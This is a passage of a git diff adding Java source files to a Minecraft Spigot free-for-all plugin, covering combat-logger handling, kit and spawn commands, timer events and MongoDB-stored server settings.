+import org.spigotmc.event.player.PlayerSpawnLocationEvent; + +import java.util.*; + +public class CombatLoggerManager implements Listener { + private final FFA plugin; + + public Map combatLoggers = new HashMap<>(); + private Set safelyDisconnected = new HashSet<>(); + + public CombatLoggerManager(FFA plugin) { + this.plugin = plugin; + + Bukkit.getPluginManager().registerEvents(this, plugin); + } + + public CombatLogger getByEntity(LivingEntity entity) { + for (CombatLogger logger : combatLoggers.keySet()) { + if (logger.getEntity().equals(entity)) { + return logger; + } + } + return null; + } + + public CombatLogger getByPlayer(Player player) { + for (CombatLogger logger : combatLoggers.keySet()) { + if (logger.getUniqueId().equals(player.getUniqueId())) { + return logger; + } + } + return null; + } + + public CombatLogger getByName(String name) { + for (CombatLogger logger : combatLoggers.keySet()) { + if (logger.getName().equalsIgnoreCase(name)) { + return logger; + } + } + return null; + } + + public void removeCombatLogger(Player player) { + if (getByPlayer(player) != null) { + getByPlayer(player).getEntity().remove(); + } + } + + public void safelyDisconnect(Player player, String reason) { + safelyDisconnected.add(player.getUniqueId()); + player.kickPlayer(reason); + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.NORMAL) + public void onPlayerQuit(PlayerQuitEvent event) { + Player player = event.getPlayer(); + + event.setQuitMessage(null); + + if (FFA.getPlugin().getInformationManager().getInformation().getLobbyCuboid().contains(player.getLocation())) return; + if (FFA.getPlugin().getProfileManager().getProfile(player).getPlayerStatus() == PlayerStatus.STAFF) return; + + combatLoggers.put(new CombatLogger(player), System.currentTimeMillis()); + + Bukkit.getScheduler().runTaskLater(FFA.getPlugin(), () -> { + if (getByName(player.getName()) == null) return; + + getByName(player.getName()).getEntity().remove(); + }, 20 * 15L); + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onCombatLoggerDeath(CombatLoggerDeathEvent event) { + CombatLogger logger = event.getCombatLogger(); + Location location = event.getCombatLogger().getEntity().getLocation(); + UUID killed = event.getCombatLogger().getUniqueId(); + Profile killedProfile = FFA.getPlugin().getProfileManager().getProfile(logger.getUniqueId()); + killedProfile.setDeaths(killedProfile.getDeaths() + 1); + killedProfile.save(); + + if (event.getKiller() != null && event.getKiller() instanceof Player) { + Player killer = (Player) event.getKiller(); + + Profile killerProfile = FFA.getPlugin().getProfileManager().getProfile(killer.getUniqueId()); + killerProfile.setKills(killerProfile.getKills() + 1); + killerProfile.save(); + + Bukkit.broadcastMessage(ChatColor.RED + logger.getName() + ChatColor.GRAY + "[" + ChatColor.WHITE + killedProfile.getKills() + ChatColor.GRAY + "] (Disconnected) " + ChatColor.YELLOW + "was slain by " + ChatColor.RED + killer.getName() + ChatColor.GRAY + "[" + ChatColor.WHITE + killerProfile.getKills() + ChatColor.GRAY + "]"); + } else { + Bukkit.broadcastMessage(ChatColor.RED + logger.getName() + ChatColor.GRAY + "[" + ChatColor.WHITE + killedProfile.getKills() + ChatColor.GRAY + "] (Disconnected) " + ChatColor.YELLOW + "died."); + } + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onEntityDeath(EntityDeathEvent event) { + CombatLogger logger = getByEntity(event.getEntity()); + if (logger != null) { + Entity killer = event.getEntity().getKiller(); + CombatLoggerDeathEvent calledEvent = new CombatLoggerDeathEvent(logger, killer); + + Bukkit.getPluginManager().callEvent(calledEvent); + + if (calledEvent.isCancelled()) { + return; + } + + for (ItemStack armor : logger.getArmor()) { + if (armor != null && armor.getType() != Material.AIR) { + event.getDrops().add(armor); + } + } + + for (ItemStack contents : logger.getContents()) { + if (contents != null && contents.getType() != Material.AIR) { + event.getDrops().add(contents); + } + } + + event.getDrops().clear(); + combatLoggers.remove(logger); + } + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.HIGH) + public void onPlayerInteractEntityEvent(PlayerInteractEntityEvent event) { + if (event.getRightClicked() instanceof LivingEntity) { + CombatLogger logger = getByEntity((LivingEntity) event.getRightClicked()); + if (logger != null) { + event.setCancelled(true); + } + } + } + + + @EventHandler + public void onEntityDamageEvent(EntityDamageEvent event) { + if (event.getEntity() instanceof LivingEntity) { + CombatLogger logger = getByEntity((LivingEntity) event.getEntity()); + if (logger != null) { + combatLoggers.put(logger, System.currentTimeMillis()); + + if (event.getCause() == EntityDamageEvent.DamageCause.FALL) { + event.setDamage(event.getFinalDamage() * 2); + } + } + } + } + + @EventHandler(ignoreCancelled = true, priority=EventPriority.HIGHEST) + public void onPlayerSpawnLocation(PlayerSpawnLocationEvent event) { + Player player = event.getPlayer(); + CombatLogger logger = getByPlayer(player); + + if (logger != null) { + event.setSpawnLocation(logger.getEntity().getLocation()); + player.setHealth(logger.getEntity().getHealth() / 2); + logger.getEntity().remove(); + combatLoggers.remove(logger); + } + } + + @EventHandler + public void onChunkUnloadEvent(ChunkUnloadEvent event) { + for (Entity entity : event.getChunk().getEntities()) { + if (entity instanceof LivingEntity) { + CombatLogger logger = getByEntity((LivingEntity) entity); + + if (logger != null) { + event.setCancelled(true); + } + } + } + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/commands/FreezeCommand.java b/FreeForAll/src/main/java/me/javaee/ffa/commands/FreezeCommand.java new file mode 100644 index 0000000..a73f30d --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/commands/FreezeCommand.java @@ -0,0 +1,50 @@ +package me.javaee.ffa.commands; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.profiles.status.PlayerStatus; +import me.javaee.ffa.utils.command.ExecutableCommand; +import net.md_5.bungee.api.ChatColor; +import org.bukkit.Bukkit; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class FreezeCommand extends ExecutableCommand { + public FreezeCommand() { + super("freeze", null, "ss"); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(ChatColor.RED + "Usage: /" + label + " "); + return true; + } + + Player target = Bukkit.getPlayer(args[0]); + + if (target == null) { + player.sendMessage(org.bukkit.ChatColor.RED + "Player with name '" + org.bukkit.ChatColor.GRAY + args[0] + org.bukkit.ChatColor.RED + "' was not found."); + return true; + } + + Profile targetProfile = FFA.getPlugin().getProfileManager().getProfile(target); + + if (targetProfile.getPlayerStatus() == PlayerStatus.FROZEN) { + targetProfile.setPlayerStatus(PlayerStatus.PLAYING); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have unfrozen &c" + target.getName())); + target.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have unbeen frozen by &c" + player.getName())); + } else { + targetProfile.setPlayerStatus(PlayerStatus.FROZEN); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have frozen &c" + target.getName())); + target.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have been frozen by &c" + player.getName())); + } + } + + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/commands/ResetKitCommand.java b/FreeForAll/src/main/java/me/javaee/ffa/commands/ResetKitCommand.java new file mode 100644 index 0000000..2f28ca7 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/commands/ResetKitCommand.java @@ -0,0 +1,44 @@ +package me.javaee.ffa.commands; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.utils.command.ExecutableCommand; +import net.md_5.bungee.api.ChatColor; +import org.bukkit.Bukkit; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class ResetKitCommand extends ExecutableCommand { + public ResetKitCommand() { + super("resetkit", "Reset your kit in the database."); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (!information.getLobbyCuboid().contains(player.getLocation())) { + player.sendMessage(ChatColor.RED + "You can only do this at the spawn."); + return true; + } + + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile == null) { + player.sendMessage(ChatColor.RED + "Your profile hasn't been loaded yet."); + return true; + } + + profile.setKit(null); + Bukkit.getScheduler().runTaskAsynchronously(FFA.getPlugin(), profile::save); + + player.sendMessage(ChatColor.GREEN + "Your kit has been reset successfully."); + } + + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/commands/SaveKitCommand.java b/FreeForAll/src/main/java/me/javaee/ffa/commands/SaveKitCommand.java new file mode 100644 index 0000000..7168b3b --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/commands/SaveKitCommand.java @@ -0,0 +1,50 @@ +package me.javaee.ffa.commands; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.utils.SerializationUtils; +import me.javaee.ffa.utils.command.ExecutableCommand; +import net.md_5.bungee.api.ChatColor; +import org.bukkit.Bukkit; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SaveKitCommand extends ExecutableCommand { + public SaveKitCommand() { + super("savekit", "Saves your kit in the database."); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (!information.getLobbyCuboid().contains(player.getLocation())) { + player.sendMessage(ChatColor.RED + "You can only do this at the spawn."); + return true; + } + + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile == null) { + player.sendMessage(ChatColor.RED + "Your profile hasn't been loaded yet."); + return true; + } + + if (profile.getKit() != null && profile.getKit().equals(SerializationUtils.playerInventoryToString(player.getInventory()))) { + player.sendMessage(ChatColor.RED + "The kit you are trying to save is the same that you have in the database."); + return true; + } + + profile.setKit(SerializationUtils.playerInventoryToString(player.getInventory())); + Bukkit.getScheduler().runTaskAsynchronously(FFA.getPlugin(), () -> profile.save()); + + player.sendMessage(ChatColor.GREEN + "Your kit has been saved successfully."); + } + + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/commands/SpawnCommand.java b/FreeForAll/src/main/java/me/javaee/ffa/commands/SpawnCommand.java new file mode 100644 index 0000000..c2e8789 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/commands/SpawnCommand.java @@ -0,0 +1,43 @@ +package me.javaee.ffa.commands; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.utils.SerializationUtils; +import me.javaee.ffa.utils.command.ExecutableCommand; +import net.md_5.bungee.api.ChatColor; +import org.bukkit.Bukkit; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +import java.io.Serializable; + +public class SpawnCommand extends ExecutableCommand { + public SpawnCommand() { + super("spawn", "Teleports you to the spawn."); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (information.getLobbyCuboid().contains(player.getLocation())) { + player.sendMessage(ChatColor.RED + "You can't do this at the spawn."); + return true; + } + + if (player.getNearbyEntities(10, 10, 10).size() > 0) { + player.sendMessage(ChatColor.RED + "You are not safe. (You have nearby players)"); + return true; + } + + FFA.getPlugin().getTimerManager().getTeleportTimer().setCooldown(player, player.getUniqueId()); + player.sendMessage(ChatColor.GREEN + "You are being sent to the spawn."); + } + + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/commands/StatisticsCommand.java b/FreeForAll/src/main/java/me/javaee/ffa/commands/StatisticsCommand.java new file mode 100644 index 0000000..dd4aa27 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/commands/StatisticsCommand.java @@ -0,0 +1,63 @@ +package me.javaee.ffa.commands; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.utils.command.ExecutableCommand; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.OfflinePlayer; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +import java.util.UUID; + +public class StatisticsCommand extends ExecutableCommand { + public StatisticsCommand() { + super("statistics", null, "stats"); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length == 0) { + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + sendStatistics(profile, player); + } else if (args.length == 1) { + Player target = Bukkit.getPlayer(args[0]); + + if (target == null) { + Bukkit.getScheduler().runTaskAsynchronously(FFA.getPlugin(), () -> { + UUID offline = Bukkit.getOfflinePlayer(args[0]).getUniqueId(); + Profile profile = FFA.getPlugin().getProfileManager().getNotCachedProfile(offline); + + if (profile == null) { + player.sendMessage(ChatColor.RED + "Player with name '" + ChatColor.GRAY + args[0] + ChatColor.RED + "' was not found in the database."); + return; + } + + sendStatistics(profile, player); + }); + } else { + Profile profile = FFA.getPlugin().getProfileManager().getProfile(target); + + sendStatistics(profile, player); + } + } + } + + return true; + } + + public void sendStatistics(Profile profile, Player player) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------------")); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&6" + profile.getName() + " statistics...")); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7 - &eELO&7: &f" + profile.getElo())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7 - &eKills&7: &f" + profile.getKills())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7 - &eDeaths&7: &f" + profile.getDeaths())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------------")); + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/events/BoardCreateEvent.java b/FreeForAll/src/main/java/me/javaee/ffa/events/BoardCreateEvent.java new file mode 100644 index 0000000..a3243c8 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/events/BoardCreateEvent.java @@ -0,0 +1,29 @@ +package me.javaee.ffa.events; + +import com.bizarrealex.aether.scoreboard.Board; +import lombok.Getter; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +public class BoardCreateEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + @Getter + private final Board board; + @Getter + private final Player player; + + public BoardCreateEvent(Board board, Player player) { + this.board = board; + this.player = player; + } + + public HandlerList getHandlers() { + return handlers; + } + + public static HandlerList getHandlerList() { + return handlers; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/events/CombatLoggerDeathEvent.java b/FreeForAll/src/main/java/me/javaee/ffa/events/CombatLoggerDeathEvent.java new file mode 100644 index 0000000..7c6dfcb --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/events/CombatLoggerDeathEvent.java @@ -0,0 +1,34 @@ +package me.javaee.ffa.events; + +import lombok.Getter; +import lombok.Setter; +import me.javaee.ffa.combatlogger.CombatLogger; +import org.bukkit.entity.Entity; +import org.bukkit.event.Cancellable; +import org.bukkit.event.HandlerList; + +import javax.annotation.Nullable; + +public class CombatLoggerDeathEvent extends CombatLoggerEvent implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + @Getter @Setter private boolean cancelled = false; + + @Getter private Entity killer; + + public CombatLoggerDeathEvent(CombatLogger combatLogger, @Nullable Entity killer) { + super(combatLogger); + + if (killer != null) this.killer = killer; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } + + public static HandlerList getHandlerList() { + return handlers; + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/events/CombatLoggerEvent.java b/FreeForAll/src/main/java/me/javaee/ffa/events/CombatLoggerEvent.java new file mode 100644 index 0000000..da7b765 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/events/CombatLoggerEvent.java @@ -0,0 +1,15 @@ +package me.javaee.ffa.events; + +import com.google.common.base.Preconditions; +import lombok.Getter; +import me.javaee.ffa.combatlogger.CombatLogger; +import org.bukkit.event.Event; + +public abstract class CombatLoggerEvent extends Event { + + @Getter protected final CombatLogger combatLogger; + + public CombatLoggerEvent(CombatLogger combatLogger) { + this.combatLogger = Preconditions.checkNotNull(combatLogger, "CombatLogger cannot be null"); + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/events/CombatLoggerSpawnEvent.java b/FreeForAll/src/main/java/me/javaee/ffa/events/CombatLoggerSpawnEvent.java new file mode 100644 index 0000000..535a4d8 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/events/CombatLoggerSpawnEvent.java @@ -0,0 +1,27 @@ +package me.javaee.ffa.events; + +import lombok.Getter; +import lombok.Setter; +import me.javaee.ffa.combatlogger.CombatLogger; +import org.bukkit.event.Cancellable; +import org.bukkit.event.HandlerList; + +public class CombatLoggerSpawnEvent extends CombatLoggerEvent implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + @Getter @Setter private boolean cancelled; + + public CombatLoggerSpawnEvent(CombatLogger combatLogger) { + super(combatLogger); + } + + @Override + public HandlerList getHandlers() { + return handlers; + } + + public static HandlerList getHandlerList() { + return handlers; + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/events/TimerClearEvent.java b/FreeForAll/src/main/java/me/javaee/ffa/events/TimerClearEvent.java new file mode 100644 index 0000000..ea834cc --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/events/TimerClearEvent.java @@ -0,0 +1,59 @@ +package me.javaee.ffa.events; + +import com.google.common.base.Optional; +import me.javaee.ffa.timer.Timer; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when a {@link Timer} is removed. + */ +public class TimerClearEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional userUUID; + private final Timer timer; + + public TimerClearEvent(Timer timer) { + this.userUUID = Optional.absent(); + this.timer = timer; + } + + public TimerClearEvent(UUID userUUID, Timer timer) { + this.userUUID = Optional.of(userUUID); + this.timer = timer; + } + + /** + * Gets the optional UUID of the user this was removed for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the removed user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/events/TimerExpireEvent.java b/FreeForAll/src/main/java/me/javaee/ffa/events/TimerExpireEvent.java new file mode 100644 index 0000000..6b3e2af --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/events/TimerExpireEvent.java @@ -0,0 +1,59 @@ +package me.javaee.ffa.events; + +import com.google.common.base.Optional; +import me.javaee.ffa.timer.Timer; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when a {@link Timer} expires. + */ +public class TimerExpireEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional userUUID; + private final Timer timer; + + public TimerExpireEvent(Timer timer) { + this.userUUID = Optional.absent(); + this.timer = timer; + } + + public TimerExpireEvent(UUID userUUID, Timer timer) { + this.userUUID = Optional.fromNullable(userUUID); + this.timer = timer; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/events/TimerExtendEvent.java b/FreeForAll/src/main/java/me/javaee/ffa/events/TimerExtendEvent.java new file mode 100644 index 0000000..6ab9c8a --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/events/TimerExtendEvent.java @@ -0,0 +1,98 @@ +package me.javaee.ffa.events; + +import com.google.common.base.Optional; +import me.javaee.ffa.timer.Timer; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import javax.annotation.Nullable; +import java.util.UUID; + +/** + * Event called when a {@link Timer} is extended. + */ +public class TimerExtendEvent extends Event implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + private boolean cancelled; + private final Optional player; + private final Optional userUUID; + private final Timer timer; + private final long previousDuration; + private long newDuration; + + public TimerExtendEvent(Timer timer, long previousDuration, long newDuration) { + this.player = Optional.absent(); + this.userUUID = Optional.absent(); + this.timer = timer; + this.previousDuration = previousDuration; + this.newDuration = newDuration; + } + + public TimerExtendEvent(@Nullable Player player, UUID uniqueId, Timer timer, long previousDuration, long newDuration) { + this.player = Optional.fromNullable(player); + this.userUUID = Optional.fromNullable(uniqueId); + this.timer = timer; + this.previousDuration = previousDuration; + this.newDuration = newDuration; + } + + public Optional getPlayer() { + return player; + } + + /** + * Gets the optional UUID of the user this was removed for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the removed user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public long getPreviousDuration() { + return previousDuration; + } + + public long getNewDuration() { + return newDuration; + } + + public void setNewDuration(long newDuration) { + this.newDuration = newDuration; + } + + @Override + public boolean isCancelled() { + return cancelled; + } + + @Override + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/events/TimerPauseEvent.java b/FreeForAll/src/main/java/me/javaee/ffa/events/TimerPauseEvent.java new file mode 100644 index 0000000..72e96b9 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/events/TimerPauseEvent.java @@ -0,0 +1,78 @@ +package me.javaee.ffa.events; + +import com.google.common.base.Optional; +import me.javaee.ffa.timer.Timer; +import org.bukkit.event.Cancellable; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when the pause state of a {@link Timer} changes. + */ +public class TimerPauseEvent extends Event implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + private boolean cancelled; + private final boolean paused; + private final Optional userUUID; + private final Timer timer; + + public TimerPauseEvent(Timer timer, boolean paused) { + this.userUUID = Optional.absent(); + this.timer = timer; + this.paused = paused; + } + + public TimerPauseEvent(UUID userUUID, Timer timer, boolean paused) { + this.userUUID = Optional.fromNullable(userUUID); + this.timer = timer; + this.paused = paused; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + public boolean isPaused() { + return paused; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } + + @Override + public boolean isCancelled() { + return cancelled; + } + + @Override + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/events/TimerStartEvent.java b/FreeForAll/src/main/java/me/javaee/ffa/events/TimerStartEvent.java new file mode 100644 index 0000000..fe82cf8 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/events/TimerStartEvent.java @@ -0,0 +1,75 @@ +package me.javaee.ffa.events; + +import com.google.common.base.Optional; +import me.javaee.ffa.timer.Timer; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import javax.annotation.Nullable; +import java.util.UUID; + +/** + * Event called when a {@link Timer} starts. + */ +public class TimerStartEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional player; + private final Optional userUUID; + private final Timer timer; + private final long duration; + + public TimerStartEvent(Timer timer, final long duration) { + this.player = Optional.absent(); + this.userUUID = Optional.absent(); + this.timer = timer; + this.duration = duration; + } + + public TimerStartEvent(@Nullable Player player, UUID uniqueId, Timer timer, long duration) { + this.player = Optional.fromNullable(player); + this.userUUID = Optional.fromNullable(uniqueId); + this.timer = timer; + this.duration = duration; + } + + public Optional getPlayer() { + return player; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public long getDuration() { + return duration; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/Information.java b/FreeForAll/src/main/java/me/javaee/ffa/information/Information.java new file mode 100644 index 0000000..18f870d --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/Information.java @@ -0,0 +1,89 @@ +package me.javaee.ffa.information; + +import com.mongodb.client.FindIterable; +import com.mongodb.client.model.Filters; +import lombok.Getter; +import lombok.Setter; +import me.javaee.ffa.FFA; +import me.javaee.ffa.utils.Cuboid; +import me.javaee.ffa.utils.LocationUtils; +import org.bson.Document; +import org.bson.conversions.Bson; +import org.bukkit.Location; + +import java.util.ArrayList; +import java.util.List; + +@Getter +public class Information { + @Setter private String lobbyLocation, lobbyFirst, lobbySecond, kothFirstLocation, kothSecondLocation; + @Setter private boolean kothStarted; + @Setter private int kothSeconds = 600; + @Setter private int season = 1; + @Setter private boolean recording = false; + private List topKillsLocations = new ArrayList<>(); + private List announces = new ArrayList<>(); + + public Information() { + load(); + } + + + public void load() { + Document document = (Document) FFA.getPlugin().getInformationCollection().find(Filters.eq("_id", "Information")).first(); + + if (document == null) return; + + lobbyLocation = document.getString("lobbyLocation"); + lobbyFirst = document.getString("lobbyFirst"); + lobbySecond = document.getString("lobbySecond"); + kothFirstLocation = document.getString("kothFirstLocation"); + kothSecondLocation = document.getString("kothSecondLocation"); + kothSeconds = document.getInteger("kothSeconds"); + season = document.getInteger("season"); + if (document.containsKey("topKillsLocations")) { + topKillsLocations = (List) document.get("topKillsLocations"); + } + + if (document.containsKey("announces")) { + announces = (List) document.get("announces"); + } + } + + public void save() { + Document document = new Document("_id", "Information"); + + document.put("lobbyLocation", lobbyLocation); + document.put("lobbyFirst", lobbyFirst); + document.put("lobbySecond", lobbySecond); + document.put("kothFirstLocation", kothFirstLocation); + document.put("kothSecondLocation", kothSecondLocation); + document.put("kothSeconds", kothSeconds); + document.put("season", season); + document.put("topKillsLocations", topKillsLocations); + document.put("announces", announces); + + Bson filter = Filters.eq("_id", "Information"); + FindIterable iterable = FFA.getPlugin().getInformationCollection().find(filter); + + if (iterable.first() == null) { + FFA.getPlugin().getInformationCollection().insertOne(document); + } else { + FFA.getPlugin().getInformationCollection().replaceOne(filter, document); + } + + FFA.getPlugin().getInformationManager().setInformation(this); + } + + public Cuboid getKothCuboid() { + return new Cuboid(LocationUtils.getLocation(kothFirstLocation), LocationUtils.getLocation(kothSecondLocation)); + } + + public Cuboid getLobbyCuboid() { + return new Cuboid(LocationUtils.getLocation(lobbyFirst), LocationUtils.getLocation(lobbySecond)); + } + + public Location getKothCenter() { + return getKothCuboid().getCenter(); + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/InformationManager.java b/FreeForAll/src/main/java/me/javaee/ffa/information/InformationManager.java new file mode 100644 index 0000000..e113fc2 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/InformationManager.java @@ -0,0 +1,70 @@ +package me.javaee.ffa.information; + +import com.mongodb.client.model.Filters; +import com.mongodb.client.model.Sorts; +import lombok.Getter; +import lombok.Setter; +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.Profile; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; + +import java.util.Map; +import java.util.Random; +import java.util.UUID; + +public class InformationManager { + @Getter @Setter public Information information; + @Getter private int nig = 1; + + public InformationManager() { + setInformation(new Information()); + + Bukkit.getScheduler().runTaskTimerAsynchronously(FFA.getPlugin(), () -> { + Bukkit.getWorld("MAPFFA").setTime(1000); + }, 20 * 5L, 20 * 5L); + + Bukkit.getScheduler().runTaskTimerAsynchronously(FFA.getPlugin(), () -> { + if (nig == 1) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&7&m-------------------------")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6&lSeason Dominators &7&o(kills)")); + Bukkit.broadcastMessage(""); + + int counter = 0; + for (Map.Entry kills : FFA.getPlugin().getProfileManager().getSortedValues("kills", Sorts.descending("kills"), Filters.gte("kills", 1), 5).entrySet()) { + Profile profile = new Profile(kills.getKey()); + + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6&l" + (counter + 1) + ". &e" + profile.getName() + "&7: &f" + profile.getKills())); + counter++; + } + + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&7&m-------------------------")); + nig = 0; + } else if (nig == 0) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&7&m-------------------------")); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', 